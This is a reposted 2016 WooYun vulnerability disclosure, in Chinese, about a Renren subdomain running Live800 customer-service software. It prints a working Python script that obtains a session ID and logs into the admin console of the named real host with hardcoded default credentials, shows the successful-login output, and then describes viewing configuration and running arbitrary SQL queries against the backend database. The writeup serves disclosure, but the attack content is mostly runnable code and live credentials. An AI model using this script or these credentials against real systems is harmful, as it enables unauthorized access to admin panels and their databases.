神刀安全网

漏洞标题: 人人网某站利用默认口令登录/系统信息查看/任意SQL语句查询

漏洞详情

披露状态:

2016-04-17: 细节已通知厂商并且等待厂商处理中
2016-04-19: 厂商已经确认,细节仅向厂商公开
2016-04-29: 细节向核心白帽子及相关领域专家公开
2016-05-09: 细节向普通白帽子公开
2016-05-19: 细节向实习白帽子公开
2016-06-03: 细节向公众公开

简要描述:

详细说明:

漏洞站点:http://live800.wan.renren.com

详情参考: WooYun: Live800在线客服系统默认密码导致的SQL查询/SQL注射漏洞

验证脚本:

code 区域
#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
import sys

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36'}

def getsessionid(url):
url = url + "/live800/console/console.jsp"
req = requests.get(url, allow_redirects=False)
status = req.status_code
#print status
if status == 302:
sessionid = req.headers['Set-Cookie'][11:43]
print 'sessionid为:' + sessionid
return sessionid
else:
print '漏洞不存在!'
return '1'

def loginin(url, sessionid):
url = url + '/live800/console/console.jsp?login=' + sessionid
data = {'iamkevin': 'wuxiaohong', 'companyId': '123', 'userName': 'kevin', 'password': 'wuTAO198403242337'}
cookies = {'JSESSIONID': sessionid}
try:
req = requests.post(url, data=data, cookies=cookies, headers=headers, allow_redirects=False)
if req.status_code == 302:
print '登录成功: ' + req.headers['Location']
else:
print '漏洞不存在!'
except Exception, e:
print e

url = 'http://live800.wan.renren.com'
se = getsessionid(url)
loginin(url, se)

该脚本的作用是验证漏洞的存在并打印出有限的sessionid

code 区域
sessionid为:6506F7B7D45C6A6316D618667B1220BF
登录成功:http://live800.wan.renren.com/live800/console/main.jsp

利用该sessionid登录以上页面

漏洞标题:  人人网某站利用默认口令登录/系统信息查看/任意SQL语句查询

查看配置信息:

漏洞标题:  人人网某站利用默认口令登录/系统信息查看/任意SQL语句查询

任意设置:

漏洞标题:  人人网某站利用默认口令登录/系统信息查看/任意SQL语句查询

点击数据库检查按钮,用kevin/wuTAO198403242337登录。

JNDI 名 称: jdbc/live800_im_crm

然后就是任意SQL语句执行了:

漏洞标题:  人人网某站利用默认口令登录/系统信息查看/任意SQL语句查询

漏洞标题:  人人网某站利用默认口令登录/系统信息查看/任意SQL语句查询

数据就不爆了。

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 人人网某站利用默认口令登录/系统信息查看/任意SQL语句查询

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址